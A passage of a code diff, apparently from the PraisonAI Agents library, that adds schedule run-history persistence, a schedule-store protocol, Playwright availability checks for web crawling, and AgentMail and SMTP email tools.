|
||||
duration=duration,
|
||||
delivered=delivered,
|
||||
timestamp=time.time(),
|
||||
)
|
||||
with self._lock:
|
||||
self._history.insert(0, record)
|
||||
# Prune to max_history
|
||||
if len(self._history) > self._max_history:
|
||||
self._history = self._history[:self._max_history]
|
||||
self._save_history()
|
||||
|
||||
def get_history(
|
||||
self,
|
||||
job_id: Optional[str] = None,
|
||||
limit: int = 200,
|
||||
) -> List[RunRecord]:
|
||||
"""Get execution history records, newest first."""
|
||||
with self._lock:
|
||||
records = list(self._history)
|
||||
if job_id is not None:
|
||||
records = [r for r in records if r.job_id == job_id]
|
||||
return records[:limit]
|
||||
|
||||
# ── persistence ──────────────────────────────────────────────────
|
||||
|
||||
def _load(self) -> None:
|
||||
"""Load schedule jobs from config.yaml's ``schedules`` section."""
|
||||
if not os.path.exists(self._path):
|
||||
return
|
||||
try:
|
||||
import yaml
|
||||
with open(self._path, "r") as f:
|
||||
data = yaml.safe_load(f) or {}
|
||||
schedules = data.get("schedules", {})
|
||||
if isinstance(schedules, dict):
|
||||
for job_id, job_data in schedules.items():
|
||||
if isinstance(job_data, dict) and job_data.get("name"):
|
||||
job_data.setdefault("id", job_id)
|
||||
job = ScheduleJob.from_dict(job_data)
|
||||
self._jobs[job.id] = job
|
||||
except Exception as e:
|
||||
logger.warning("Failed to load schedules from %s: %s", self._path, e)
|
||||
|
||||
def _save(self) -> None:
|
||||
"""Write schedule jobs into config.yaml's ``schedules`` key.
|
||||
|
||||
Preserves all other top-level keys (agents, server, etc.).
|
||||
"""
|
||||
try:
|
||||
import yaml
|
||||
|
||||
# Read existing config
|
||||
data: dict = {}
|
||||
if os.path.exists(self._path):
|
||||
with open(self._path, "r") as f:
|
||||
data = yaml.safe_load(f) or {}
|
||||
|
||||
# Update only the schedules section
|
||||
schedules = {}
|
||||
for job in self._jobs.values():
|
||||
schedules[job.id] = job.to_dict()
|
||||
data["schedules"] = schedules
|
||||
|
||||
# Atomic write
|
||||
os.makedirs(os.path.dirname(self._path), exist_ok=True)
|
||||
tmp = self._path + ".tmp"
|
||||
with open(tmp, "w") as f:
|
||||
yaml.dump(data, f, default_flow_style=False, sort_keys=False)
|
||||
os.replace(tmp, self._path)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to save schedules to %s: %s", self._path, e)
|
||||
|
||||
def _load_history(self) -> None:
|
||||
"""Load execution history from run_history.yaml."""
|
||||
if not os.path.exists(self._history_path):
|
||||
return
|
||||
try:
|
||||
import yaml
|
||||
with open(self._history_path, "r") as f:
|
||||
data = yaml.safe_load(f) or []
|
||||
if isinstance(data, list):
|
||||
for d in data:
|
||||
if isinstance(d, dict):
|
||||
record = RunRecord.from_dict(d)
|
||||
self._history.append(record)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to load history from %s: %s", self._history_path, e)
|
||||
|
||||
def _save_history(self) -> None:
|
||||
"""Save execution history to run_history.yaml."""
|
||||
try:
|
||||
import yaml
|
||||
os.makedirs(os.path.dirname(self._history_path), exist_ok=True)
|
||||
data = [r.to_dict() for r in self._history]
|
||||
tmp = self._history_path + ".tmp"
|
||||
with open(tmp, "w") as f:
|
||||
yaml.dump(data, f, default_flow_style=False, sort_keys=False)
|
||||
os.replace(tmp, self._history_path)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to save history to %s: %s", self._history_path, e)
|
||||
|
||||
# ── migration ────────────────────────────────────────────────────
|
||||
|
||||
def migrate_from_json(self, json_path: Optional[str] = None) -> int:
|
||||
"""Import jobs from a legacy ``jobs.json`` file.
|
||||
|
||||
Args:
|
||||
json_path: Path to ``jobs.json``. Defaults to
|
||||
``~/.praisonai/schedules/jobs.json``.
|
||||
|
||||
Returns:
|
||||
Number of jobs migrated.
|
||||
"""
|
||||
import json
|
||||
|
||||
if json_path is None:
|
||||
from ..paths import get_schedules_dir
|
||||
json_path = str(get_schedules_dir() / "jobs.json")
|
||||
|
||||
if not os.path.exists(json_path):
|
||||
return 0
|
||||
|
||||
try:
|
||||
with open(json_path, "r") as f:
|
||||
items = json.load(f)
|
||||
if not isinstance(items, list):
|
||||
return 0
|
||||
count = 0
|
||||
with self._lock:
|
||||
for d in items:
|
||||
job = ScheduleJob.from_dict(d)
|
||||
if job.id not in self._jobs:
|
||||
self._jobs[job.id] = job
|
||||
count += 1
|
||||
if count:
|
||||
self._save()
|
||||
logger.info(
|
||||
"Migrated %d schedule(s) from %s into config.yaml",
|
||||
count, json_path,
|
||||
)
|
||||
return count
|
||||
except Exception as e:
|
||||
logger.warning("Failed to migrate from %s: %s", json_path, e)
|
||||
return 0
|
||||
@@ -10,7 +10,7 @@ import time
|
||||
from typing import Callable, Optional
|
||||
|
||||
from .runner import ScheduleRunner
|
||||
from .store import FileScheduleStore
|
||||
from .protocols import ScheduleStoreProtocol
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -37,7 +37,7 @@ class ScheduleLoop:
|
||||
def __init__(
|
||||
self,
|
||||
on_trigger: Callable,
|
||||
store: Optional[FileScheduleStore] = None,
|
||||
store: Optional[ScheduleStoreProtocol] = None,
|
||||
tick_seconds: float = 30.0,
|
||||
):
|
||||
"""
|
||||
@@ -47,8 +47,11 @@ class ScheduleLoop:
|
||||
``FileScheduleStore()``.
|
||||
tick_seconds: Seconds between polls (default 30).
|
||||
"""
|
||||
if store is None:
|
||||
from .config_store import ConfigYamlScheduleStore
|
||||
store = ConfigYamlScheduleStore()
|
||||
self._on_trigger = on_trigger
|
||||
self._store = store or FileScheduleStore()
|
||||
self._store = store
|
||||
self._runner = ScheduleRunner(self._store)
|
||||
self._tick = tick_seconds
|
||||
self._stop_event = threading.Event()
|
||||
|
||||
@@ -90,6 +90,56 @@ class DeliveryTarget:
|
||||
)
|
||||
|
||||
|
||||
@dataclass
|
||||
class RunRecord:
|
||||
"""A single execution record for a scheduled job.
|
||||
|
||||
Attributes:
|
||||
job_id: ID of the job that was executed.
|
||||
job_name: Human-readable name of the job.
|
||||
status: Execution status (``"succeeded"``, ``"failed"``, ``"skipped"``).
|
||||
result: Agent response text (truncated if very long).
|
||||
error: Error message if status is ``"failed"``.
|
||||
duration: Wall-clock seconds for execution.
|
||||
delivered: Whether result was delivered to a channel bot.
|
||||
timestamp: Epoch timestamp of execution.
|
||||
"""
|
||||
|
||||
job_id: str
|
||||
job_name: str = ""
|
||||
status: Literal["succeeded", "failed", "skipped"] = "succeeded"
|
||||
result: Optional[str] = None
|
||||
error: Optional[str] = None
|
||||
duration: float = 0.0
|
||||
delivered: bool = False
|
||||
timestamp: float = field(default_factory=time.time)
|
||||
|
||||
def to_dict(self) -> Dict[str, Any]:
|
||||
return {
|
||||
"job_id": self.job_id,
|
||||
"job_name": self.job_name,
|
||||
"status": self.status,
|
||||
"result": self.result,
|
||||
"error": self.error,
|
||||
"duration": self.duration,
|
||||
"delivered": self.delivered,
|
||||
"timestamp": self.timestamp,
|
||||
}
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, d: Dict[str, Any]) -> "RunRecord":
|
||||
return cls(
|
||||
job_id=d.get("job_id", ""),
|
||||
job_name=d.get("job_name", ""),
|
||||
status=d.get("status", "succeeded"),
|
||||
result=d.get("result"),
|
||||
error=d.get("error"),
|
||||
duration=d.get("duration", 0.0),
|
||||
delivered=d.get("delivered", False),
|
||||
timestamp=d.get("timestamp", time.time()),
|
||||
)
|
||||
|
||||
|
||||
@dataclass
|
||||
class ScheduleJob:
|
||||
"""A persisted scheduled job.
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
"""
|
||||
Schedule Store Protocol for PraisonAI Agents.
|
||||
|
||||
Defines the interface for schedule persistence backends.
|
||||
Any object implementing these methods can be used as a schedule store.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any, List, Optional, Protocol, runtime_checkable
|
||||
|
||||
|
||||
@runtime_checkable
|
||||
class ScheduleStoreProtocol(Protocol):
|
||||
"""Protocol for schedule persistence backends.
|
||||
|
||||
Implementations:
|
||||
- ``ConfigYamlScheduleStore`` — YAML config (``~/.praisonai/config.yaml``) [default]
|
||||
- ``FileScheduleStore`` — JSON file (``~/.praisonai/schedules/jobs.json``) [legacy]
|
||||
- ``_InMemoryScheduleStore`` (in PraisonAIUI) — YAML config.yaml
|
||||
|
||||
Any store that implements these methods can be passed to
|
||||
``ScheduleRunner`` and ``ScheduleLoop``.
|
||||
"""
|
||||
|
||||
def add(self, job: Any) -> None:
|
||||
"""Add a job. Raises ``ValueError`` if id already exists."""
|
||||
...
|
||||
|
||||
def get(self, job_id: str) -> Optional[Any]:
|
||||
"""Get a job by its unique ID."""
|
||||
...
|
||||
|
||||
def list(self, agent_id: Optional[str] = None) -> List[Any]:
|
||||
"""List all jobs, optionally filtered by agent_id."""
|
||||
...
|
||||
|
||||
def update(self, job: Any) -> None:
|
||||
"""Update an existing job."""
|
||||
...
|
||||
|
||||
def remove(self, job_id: str) -> bool:
|
||||
"""Remove a job by ID. Returns True if found and removed."""
|
||||
...
|
||||
|
||||
def get_by_name(self, name: str) -> Optional[Any]:
|
||||
"""Get a job by its human-readable name."""
|
||||
...
|
||||
|
||||
def remove_by_name(self, name: str) -> bool:
|
||||
"""Remove a job by name. Returns True if found and removed."""
|
||||
...
|
||||
|
||||
# ── Execution History (optional) ─────────────────────────────────
|
||||
|
||||
def log_run(
|
||||
self,
|
||||
job_id: str,
|
||||
status: str,
|
||||
result: Optional[str] = None,
|
||||
error: Optional[str] = None,
|
||||
duration: float = 0.0,
|
||||
delivered: bool = False,
|
||||
job_name: str = "",
|
||||
) -> None:
|
||||
"""Log an execution run for a job.
|
||||
|
||||
Args:
|
||||
job_id: ID of the executed job.
|
||||
status: Execution status (``"succeeded"``, ``"failed"``, ``"skipped"``).
|
||||
result: Agent response text (may be truncated).
|
||||
error: Error message if status is ``"failed"``.
|
||||
duration: Wall-clock seconds for execution.
|
||||
delivered: Whether result was delivered to a channel bot.
|
||||
job_name: Human-readable job name for display.
|
||||
|
||||
Note:
|
||||
This method is optional. Stores that don't support history
|
||||
may implement it as a no-op. Callers should use ``hasattr()``
|
||||
to check for support before calling.
|
||||
"""
|
||||
...
|
||||
|
||||
def get_history(
|
||||
self,
|
||||
job_id: Optional[str] = None,
|
||||
limit: int = 200,
|
||||
) -> List[Any]:
|
||||
"""Get execution history records.
|
||||
|
||||
Args:
|
||||
job_id: Optional filter by job ID.
|
||||
limit: Maximum number of records to return (default 200).
|
||||
|
||||
Returns:
|
||||
List of ``RunRecord`` instances, newest first.
|
||||
|
||||
Note:
|
||||
This method is optional. Stores that don't support history
|
||||
may return an empty list. Callers should use ``hasattr()``
|
||||
to check for support before calling.
|
||||
"""
|
||||
...
|
||||
@@ -8,10 +8,10 @@ payload is the caller's responsibility (keeping the runner lightweight).
|
||||
import logging
|
||||
import time
|
||||
from datetime import datetime, timezone
|
||||
from typing import List
|
||||
from typing import List, Optional
|
||||
|
||||
from .models import ScheduleJob
|
||||
from .store import FileScheduleStore
|
||||
from .protocols import ScheduleStoreProtocol
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -23,7 +23,7 @@ class ScheduleRunner:
|
||||
and when to call ``get_due_jobs()``.
|
||||
"""
|
||||
|
||||
def __init__(self, store: FileScheduleStore):
|
||||
def __init__(self, store: ScheduleStoreProtocol):
|
||||
self._store = store
|
||||
|
||||
# ── public ───────────────────────────────────────────────────────
|
||||
@@ -39,9 +39,39 @@ class ScheduleRunner:
|
||||
due.append(job)
|
||||
return due
|
||||
|
||||
def mark_run(self, job: ScheduleJob) -> None:
|
||||
"""Update ``last_run_at`` and optionally delete one-shot jobs."""
|
||||
def mark_run(
|
||||
self,
|
||||
job: ScheduleJob,
|
||||
status: str = "succeeded",
|
||||
result: Optional[str] = None,
|
||||
error: Optional[str] = None,
|
||||
duration: float = 0.0,
|
||||
delivered: bool = False,
|
||||
) -> None:
|
||||
"""Update ``last_run_at``, log history, and optionally delete one-shot jobs.
|
||||
|
||||
Args:
|
||||
job: The job that was executed.
|
||||
status: Execution status (``"succeeded"``, ``"failed"``, ``"skipped"``).
|
||||
result: Agent response text.
|
||||
error: Error message if status is ``"failed"``.
|
||||
duration: Wall-clock seconds for execution.
|
||||
delivered: Whether result was delivered to a channel bot.
|
||||
"""
|
||||
job.last_run_at = time.time()
|
||||
|
||||
# Log execution history if the store supports it
|
||||
if hasattr(self._store, "log_run"):
|
||||
self._store.log_run(
|
||||
job_id=job.id,
|
||||
status=status,
|
||||
result=result,
|
||||
error=error,
|
||||
duration=duration,
|
||||
delivered=delivered,
|
||||
job_name=job.name,
|
||||
)
|
||||
|
||||
if job.delete_after_run:
|
||||
self._store.remove(job.id)
|
||||
else:
|
||||
|
||||
@@ -9,15 +9,18 @@ import json
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
from .models import ScheduleJob
|
||||
from .models import ScheduleJob, RunRecord
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
from ..paths import get_schedules_dir as _get_schedules_dir
|
||||
_DEFAULT_DIR = str(_get_schedules_dir())
|
||||
_JOBS_FILE = "jobs.json"
|
||||
_HISTORY_FILE = "history.json"
|
||||
_MAX_HISTORY = 200
|
||||
|
||||
|
||||
class FileScheduleStore:
|
||||
@@ -26,12 +29,16 @@ class FileScheduleStore:
|
||||
Thread-safe for multi-agent scenarios.
|
||||
"""
|
||||
|
||||
def __init__(self, store_dir: Optional[str] = None):
|
||||
def __init__(self, store_dir: Optional[str] = None, max_history: int = _MAX_HISTORY):
|
||||
self._dir = store_dir or _DEFAULT_DIR
|
||||
self._path = os.path.join(self._dir, _JOBS_FILE)
|
||||
self._history_path = os.path.join(self._dir, _HISTORY_FILE)
|
||||
self._max_history = max_history
|
||||
self._lock = threading.RLock()
|
||||
self._jobs: Dict[str, ScheduleJob] = {}
|
||||
self._history: List[RunRecord] = []
|
||||
self._load()
|
||||
self._load_history()
|
||||
|
||||
# ── public API ───────────────────────────────────────────────────
|
||||
|
||||
@@ -83,6 +90,48 @@ class FileScheduleStore:
|
||||
return True
|
||||
return False
|
||||
|
||||
# ── execution history ─────────────────────────────────────────────
|
||||
|
||||
def log_run(
|
||||
self,
|
||||
job_id: str,
|
||||
status: str,
|
||||
result: Optional[str] = None,
|
||||
error: Optional[str] = None,
|
||||
duration: float = 0.0,
|
||||
delivered: bool = False,
|
||||
job_name: str = "",
|
||||
) -> None:
|
||||
"""Log an execution run for a job."""
|
||||
record = RunRecord(
|
||||
job_id=job_id,
|
||||
job_name=job_name,
|
||||
status=status,
|
||||
result=result[:2000] if result and len(result) > 2000 else result,
|
||||
error=error,
|
||||
duration=duration,
|
||||
delivered=delivered,
|
||||
timestamp=time.time(),
|
||||
)
|
||||
with self._lock:
|
||||
self._history.insert(0, record)
|
||||
# Prune to max_history
|
||||
if len(self._history) > self._max_history:
|
||||
self._history = self._history[:self._max_history]
|
||||
self._save_history()
|
||||
|
||||
def get_history(
|
||||
self,
|
||||
job_id: Optional[str] = None,
|
||||
limit: int = 200,
|
||||
) -> List[RunRecord]:
|
||||
"""Get execution history records, newest first."""
|
||||
with self._lock:
|
||||
records = list(self._history)
|
||||
if job_id is not None:
|
||||
records = [r for r in records if r.job_id == job_id]
|
||||
return records[:limit]
|
||||
|
||||
# ── persistence ──────────────────────────────────────────────────
|
||||
|
||||
def _load(self) -> None:
|
||||
@@ -107,3 +156,28 @@ class FileScheduleStore:
|
||||
os.replace(tmp, self._path)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to save schedule store to %s: %s", self._path, e)
|
||||
|
||||
def _load_history(self) -> None:
|
||||
"""Load execution history from history.json."""
|
||||
if not os.path.exists(self._history_path):
|
||||
return
|
||||
try:
|
||||
with open(self._history_path, "r") as f:
|
||||
data = json.load(f)
|
||||
for d in data:
|
||||
record = RunRecord.from_dict(d)
|
||||
self._history.append(record)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to load history from %s: %s", self._history_path, e)
|
||||
|
||||
def _save_history(self) -> None:
|
||||
"""Save execution history to history.json."""
|
||||
try:
|
||||
os.makedirs(self._dir, exist_ok=True)
|
||||
data = [r.to_dict() for r in self._history]
|
||||
tmp = self._history_path + ".tmp"
|
||||
with open(tmp, "w") as f:
|
||||
json.dump(data, f, indent=2)
|
||||
os.replace(tmp, self._history_path)
|
||||
except Exception as e:
|
||||
logger.warning("Failed to save history to %s: %s", self._history_path, e)
|
||||
@@ -138,9 +138,9 @@ TOOL_MAPPINGS = {
|
||||
'get_available_providers': ('.web_search', None),
|
||||
|
||||
# Unified Web Crawl (auto-fallback across providers)
|
||||
'web_crawl': ('.web_crawl', None),
|
||||
'crawl_web': ('.web_crawl', None), # Alias
|
||||
'get_available_crawl_providers': ('.web_crawl', None),
|
||||
'web_crawl': ('.web_crawl_tools', None),
|
||||
'crawl_web': ('.web_crawl_tools', None), # Alias
|
||||
'get_available_crawl_providers': ('.web_crawl_tools', None),
|
||||
|
||||
# Skill Tools (for Agent Skills script execution)
|
||||
'run_skill_script': ('.skill_tools', None),
|
||||
@@ -171,6 +171,18 @@ TOOL_MAPPINGS = {
|
||||
# Learning Tools (active categorized knowledge store/search)
|
||||
'store_learning': ('.learning', None),
|
||||
'search_learning': ('.learning', None),
|
||||
|
||||
# Email Tools (AgentMail-based send/read/list/reply/create)
|
||||
'send_email': ('.email_tools', None),
|
||||
'list_emails': ('.email_tools', None),
|
||||
'read_email': ('.email_tools', None),
|
||||
'reply_email': ('.email_tools', None),
|
||||
'list_inboxes': ('.email_tools', None),
|
||||
'create_inbox': ('.email_tools', None),
|
||||
# Email Tools (SMTP/IMAP-based — direct mailbox credentials)
|
||||
'smtp_send_email': ('.email_tools', None),
|
||||
'smtp_read_inbox': ('.email_tools', None),
|
||||
'email_tools': ('.email_tools', None),
|
||||
}
|
||||
|
||||
_instances = {} # Cache for class instances
|
||||
@@ -231,10 +243,12 @@ def __getattr__(name: str) -> Any:
|
||||
'schedule_add', 'schedule_list', 'schedule_remove',
|
||||
'ast_grep_search', 'ast_grep_rewrite', 'ast_grep_scan', 'is_ast_grep_available', 'get_ast_grep_tools',
|
||||
'store_memory', 'search_memory',
|
||||
'store_learning', 'search_learning'
|
||||
'store_learning', 'search_learning',
|
||||
'send_email', 'list_emails', 'read_email', 'reply_email', 'list_inboxes', 'create_inbox',
|
||||
'smtp_send_email', 'smtp_read_inbox'
|
||||
]:
|
||||
return getattr(module, name)
|
||||
if name in ['file_tools', 'spider_tools', 'python_tools', 'shell_tools', 'cot_tools', 'tavily_tools', 'youdotcom_tools', 'exa_tools', 'crawl4ai_tools', 'skill_tools', 'schedule_tools', 'ast_grep_tools']:
|
||||
if name in ['file_tools', 'spider_tools', 'python_tools', 'shell_tools', 'cot_tools', 'tavily_tools', 'youdotcom_tools', 'exa_tools', 'crawl4ai_tools', 'skill_tools', 'schedule_tools', 'ast_grep_tools', 'email_tools']:
|
||||
return module # Returns the callable module
|
||||
return getattr(module, name)
|
||||
else:
|
||||
|
||||
@@ -29,17 +29,42 @@ from importlib import util
|
||||
|
||||
|
||||
def _check_crawl4ai_available() -> tuple[bool, Optional[str]]:
|
||||
"""Check if Crawl4AI is available.
|
||||
|
||||
"""Check if Crawl4AI and its Playwright browser binaries are available.
|
||||
|
||||
Returns:
|
||||
Tuple of (is_available, error_message)
|
||||
"""
|
||||
if util.find_spec("crawl4ai") is None:
|
||||
return False, "crawl4ai package is not installed. Install it with: pip install crawl4ai && crawl4ai-setup"
|
||||
|
||||
return False, (
|
||||
"crawl4ai package is not installed. "
|
||||
"Install it with: pip install 'praisonaiagents[crawl]'"
|
||||
)
|
||||
|
||||
# Check that Playwright browser binaries have been downloaded.
|
||||
# `playwright install` is a post-install OS step that pip never runs.
|
||||
# We check the standard ms-playwright cache directory directly — no
|
||||
# API calls, no process launches, no private internals.
|
||||
try:
|
||||
import os, pathlib
|
||||
ms_pw = pathlib.Path(os.environ.get(
|
||||
"PLAYWRIGHT_BROWSERS_PATH",
|
||||
pathlib.Path.home() / ".cache" / "ms-playwright"
|
||||
))
|
||||
if ms_pw.exists() and not list(ms_pw.glob("chromium-*")):
|
||||
return False, (
|
||||
"Playwright browsers are not installed.\n"
|
||||
"Run this command once to download them:\n"
|
||||
" playwright install chromium\n"
|
||||
"Or for Docker/CI: playwright install chromium --with-deps"
|
||||
)
|
||||
# If ms_pw doesn't exist yet, skip — _get_crawler will catch it.
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return True, None
|
||||
|
||||
|
||||
|
||||
class Crawl4AITools:
|
||||
"""Crawl4AI web crawling and extraction tools.
|
||||
|
||||
@@ -81,9 +106,9 @@ class Crawl4AITools:
|
||||
is_available, error = _check_crawl4ai_available()
|
||||
if not is_available:
|
||||
raise ImportError(error)
|
||||
|
||||
|
||||
from crawl4ai import AsyncWebCrawler, BrowserConfig
|
||||
|
||||
|
||||
if self._crawler is None:
|
||||
browser_config = BrowserConfig(
|
||||
headless=self.headless,
|
||||
@@ -91,9 +116,22 @@ class Crawl4AITools:
|
||||
browser_type=self.browser_type
|
||||
)
|
||||
self._crawler = AsyncWebCrawler(config=browser_config)
|
||||
await self._crawler.start()
|
||||
|
||||
try:
|
||||
await self._crawler.start()
|
||||
except Exception as e:
|
||||
self._crawler = None
|
||||
err_str = str(e)
|
||||
if "Executable doesn't exist" in err_str or "playwright install" in err_str:
|
||||
raise RuntimeError(
|
||||
"Playwright browser not found. Run:\n"
|
||||
" playwright install chromium\n"
|
||||
"Then retry. For Docker/CI use:\n"
|
||||
" playwright install chromium --with-deps"
|
||||
) from None
|
||||
raise
|
||||
|
||||
return self._crawler
|
||||
|
||||
|
||||
async def close(self):
|
||||
"""Close the crawler and release resources."""
|
||||
@@ -571,7 +609,7 @@ def crawl4ai_sync(
|
||||
Returns:
|
||||
Dict with crawl results
|
||||
"""
|
||||
return asyncio.get_event_loop().run_until_complete(
|
||||
return asyncio.run(
|
||||
crawl4ai(url, css_selector, js_code, wait_for)
|
||||
)
|
||||
|
||||
@@ -591,7 +629,7 @@ def crawl4ai_extract_sync(
|
||||
Returns:
|
||||
Dict with extracted data
|
||||
"""
|
||||
return asyncio.get_event_loop().run_until_complete(
|
||||
return asyncio.run(
|
||||
crawl4ai_extract(url, schema, js_code)
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,947 @@
|
||||
"""
|
||||
Email tools for PraisonAI Agents.
|
||||
|
||||
Generic tools (send_email, list_emails, etc.) auto-detect the backend:
|
||||
- If AGENTMAIL_API_KEY is set → uses AgentMail API
|
||||
- If EMAIL_ADDRESS + EMAIL_PASSWORD is set → uses IMAP/SMTP
|
||||
- If both are set → prefers AgentMail
|
||||
|
||||
Backend-specific tools are also available:
|
||||
- AgentMail: agentmail_send_email, agentmail_list_emails, etc.
|
||||
- SMTP/IMAP: smtp_send_email, smtp_read_inbox, smtp_search_inbox, etc.
|
||||
|
||||
Example:
|
||||
from praisonaiagents.tools.email_tools import send_email, list_emails, search_emails
|
||||
agent = Agent(tools=[send_email, list_emails, search_emails])
|
||||
# Works with either AgentMail or Gmail/Outlook — auto-detected from env vars
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
from typing import Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Lazy-loaded AgentMail client (module-level singleton)
|
||||
_client = None
|
||||
|
||||
|
||||
def _detect_backend() -> str:
|
||||
"""Detect which email backend is available.
|
||||
|
||||
Returns 'agentmail' or 'smtp'. Prefers AgentMail if both configured.
|
||||
"""
|
||||
if os.environ.get("AGENTMAIL_API_KEY"):
|
||||
return "agentmail"
|
||||
if os.environ.get("EMAIL_ADDRESS") and os.environ.get("EMAIL_PASSWORD"):
|
||||
return "smtp"
|
||||
raise ValueError(
|
||||
"No email backend configured. Set either:\n"
|
||||
" - AGENTMAIL_API_KEY (+ AGENTMAIL_INBOX_ID) for AgentMail, or\n"
|
||||
" - EMAIL_ADDRESS + EMAIL_PASSWORD for IMAP/SMTP (Gmail, Outlook, etc.)"
|
||||
)
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# AgentMail Backend
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
def _get_client():
|
||||
"""Lazy-load the AgentMail client from env vars."""
|
||||
global _client
|
||||
if _client is None:
|
||||
api_key = os.environ.get("AGENTMAIL_API_KEY", "")
|
||||
if not api_key:
|
||||
raise ValueError(
|
||||
"AGENTMAIL_API_KEY environment variable is required. "
|
||||
"Get your key at https://agentmail.to"
|
||||
)
|
||||
try:
|
||||
from agentmail import AgentMail
|
||||
_client = AgentMail(api_key=api_key)
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"agentmail package not installed. "
|
||||
"Install with: pip install agentmail"
|
||||
)
|
||||
return _client
|
||||
|
||||
|
||||
def _get_inbox_id() -> str:
|
||||
"""Get the default inbox ID from env."""
|
||||
inbox_id = os.environ.get("AGENTMAIL_INBOX_ID", "")
|
||||
if not inbox_id:
|
||||
raise ValueError(
|
||||
"AGENTMAIL_INBOX_ID environment variable is required. "
|
||||
"Set it to your inbox email, e.g. [email protected]"
|
||||
)
|
||||
return inbox_id
|
||||
|
||||
|
||||
def _normalize_message_id(message_id: str) -> str:
|
||||
"""LLMs often strip angle brackets from message IDs — restore them."""
|
||||
if message_id and "@" in message_id and not message_id.startswith("<"):
|
||||
return f"<{message_id}>"
|
||||
return message_id
|
||||
|
||||
|
||||
def _agentmail_send_email(to: str, subject: str, body: str) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
try:
|
||||
result = client.inboxes.messages.send(inbox_id, to=to, subject=subject, text=body)
|
||||
msg_id = getattr(result, "message_id", "unknown")
|
||||
thread_id = getattr(result, "thread_id", "")
|
||||
logger.info(f"Email sent to {to}: {msg_id}")
|
||||
return f"Email sent successfully to {to}. Message ID: {msg_id}, Thread ID: {thread_id}"
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to send email to {to}: {e}")
|
||||
return f"Failed to send email: {e}"
|
||||
|
||||
|
||||
def _agentmail_list_emails(limit: int = 10) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
try:
|
||||
response = client.inboxes.messages.list(inbox_id, limit=limit)
|
||||
msg_list = response.messages if hasattr(response, "messages") else response
|
||||
if not msg_list:
|
||||
return "No emails found in inbox."
|
||||
results = []
|
||||
for msg in msg_list:
|
||||
sender = getattr(msg, "from_", "") or "unknown"
|
||||
subject = getattr(msg, "subject", "(no subject)") or "(no subject)"
|
||||
preview = getattr(msg, "preview", "") or ""
|
||||
msg_id = getattr(msg, "message_id", "")
|
||||
timestamp = getattr(msg, "timestamp", "") or getattr(msg, "created_at", "")
|
||||
results.append(
|
||||
f"- From: {sender}\n"
|
||||
f" Subject: {subject}\n"
|
||||
f" Preview: {preview[:100]}{'...' if len(preview) > 100 else ''}\n"
|
||||
f" ID: {msg_id}\n"
|
||||
f" Date: {timestamp}"
|
||||
)
|
||||
count_info = getattr(response, "count", len(msg_list))
|
||||
return f"Found {count_info} email(s) (showing up to {limit}):\n\n" + "\n\n".join(results)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to list emails: {e}")
|
||||
return f"Failed to list emails: {e}"
|
||||
|
||||
|
||||
def _agentmail_read_email(message_id: str) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
message_id = _normalize_message_id(message_id)
|
||||
try:
|
||||
msg = client.inboxes.messages.get(inbox_id, message_id)
|
||||
sender = getattr(msg, "from_", "") or "unknown"
|
||||
to = getattr(msg, "to", []) or []
|
||||
subject = getattr(msg, "subject", "(no subject)") or "(no subject)"
|
||||
body = getattr(msg, "extracted_text", "") or getattr(msg, "text", "") or ""
|
||||
timestamp = getattr(msg, "timestamp", "") or getattr(msg, "created_at", "")
|
||||
in_reply_to = getattr(msg, "in_reply_to", "")
|
||||
to_str = ", ".join(to) if isinstance(to, list) else str(to)
|
||||
result = f"From: {sender}\nTo: {to_str}\nSubject: {subject}\nDate: {timestamp}\n"
|
||||
if in_reply_to:
|
||||
result += f"In-Reply-To: {in_reply_to}\n"
|
||||
result += f"\n{body}"
|
||||
return result
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to read email {message_id}: {e}")
|
||||
return f"Failed to read email: {e}"
|
||||
|
||||
|
||||
def _agentmail_reply_email(message_id: str, body: str) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
message_id = _normalize_message_id(message_id)
|
||||
try:
|
||||
result = client.inboxes.messages.reply(inbox_id, message_id, text=body)
|
||||
reply_id = getattr(result, "message_id", "unknown")
|
||||
logger.info(f"Reply sent: {reply_id}")
|
||||
return f"Reply sent successfully (ID: {reply_id})"
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to reply to {message_id}: {e}")
|
||||
return f"Failed to reply: {e}"
|
||||
|
||||
|
||||
def _agentmail_search_emails(
|
||||
label: Optional[str] = None,
|
||||
after_date: Optional[str] = None,
|
||||
before_date: Optional[str] = None,
|
||||
limit: int = 20,
|
||||
) -> str:
|
||||
from datetime import datetime as _dt
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
try:
|
||||
kwargs = {"limit": min(limit, 50)}
|
||||
if label:
|
||||
kwargs["labels"] = [label]
|
||||
if after_date:
|
||||
kwargs["after"] = _dt.fromisoformat(after_date)
|
||||
if before_date:
